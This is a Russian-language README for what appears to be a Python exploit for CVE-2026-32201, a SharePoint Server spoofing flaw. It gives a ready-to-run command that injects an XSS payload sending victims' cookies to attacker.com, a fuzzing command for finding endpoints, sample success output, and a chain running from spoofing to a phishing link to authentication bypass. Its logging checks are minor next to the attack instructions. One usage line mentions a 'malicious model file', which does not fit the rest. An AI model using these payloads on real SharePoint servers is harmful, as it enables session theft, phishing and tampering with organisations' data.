Обзор

Python-эксплойт для CVE-2026-32201 — некорректная проверка входных данных в Microsoft SharePoint Server, позволяющая неаутентифицированную сетевую подмену (C:L/I:L).

• Затронуты: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Воздействие: просмотр/изменение конфиденциальных данных через поддельные уведомления/документы.

Возможности

1. Определение версии SharePoint.
2. Сформированный POST-запрос для обхода проверки входных данных (sender_override).
3. Настраиваемая полезная нагрузка (отправитель, получатель, тема, сообщение с XSS).
4. Анализ ответа для проверки.

Использование

1. Сохраните файл как exploit.py
2. Запустите его для создания вредоносного файла модели:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Пример вывода:

[+] SharePoint обнаружен.
[*] Отправка поддельного запроса на https://target.com/_layouts/15/notify.aspx
[+] Статус: 200
[+] Возможный успех: проверьте журналы/почту цели на наличие поддельного содержимого.

Настройка

• Фаззинг конечных точек: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• XSS-полезная нагрузка: добавьте JS в --message для кражи cookie
• Связывание: подмена → фишинговая ссылка → обход аутентификации

Проверка

• Индикаторы успеха: 200 OK + «sent/success» в ответе
• На стороне сервера: проверьте журналы ULS/журналы IIS на предмет аномальных запросов
• Воздействие: отслеживайте электронную почту/документы на предмет поддельного отправителя, тестируйте изменение данных